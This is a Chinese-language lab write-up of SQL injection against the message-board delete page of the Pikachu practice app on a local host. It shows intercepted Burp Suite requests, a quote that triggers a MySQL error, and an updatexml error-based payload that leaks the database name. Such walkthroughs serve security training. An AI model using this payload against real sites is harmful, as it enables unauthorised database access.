留言板输入几条信息
出现删除按钮,点他
通过burpsuite拦截请求,请求报文如下
GET /vul/sqli/sqli_del.php?id=57 HTTP/1.1
Host: 192.168.1.9:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.9:8080/vul/sqli/sqli_del.php
Cookie: security=high; PHPSESSID=fftr9buiig10nl6bda5f22li59
Upgrade-Insecure-Requests: 1
推测id=57处可能存在注入点,发送给repeater;并修改报文
57后面加一个'
,点击send,返回报文果然印证了猜测
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
那么这里就是一个注入点
57 后面加一段
or updatexml(1, concat(0x7e, database()), 0)
右键选中id对应的value,选择Convert selection ,选择url ,选择 Url-encode key character; 将选中的文字urlencode
GET /vul/sqli/sqli_del.php?id=57+or+updatexml(1,+concat(0x7e,+database()),+0) HTTP/1.1
Host: 192.168.1.9:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.9:8080/vul/sqli/sqli_del.php
Cookie: security=high; PHPSESSID=fftr9buiig10nl6bda5f22li59
Upgrade-Insecure-Requests: 1
可以看出空格都替换成了+
点击发送后,同样的(也是利用Xpath不认识~
的原理)爆出了数据库名称
XPATH syntax error: '~pikachu'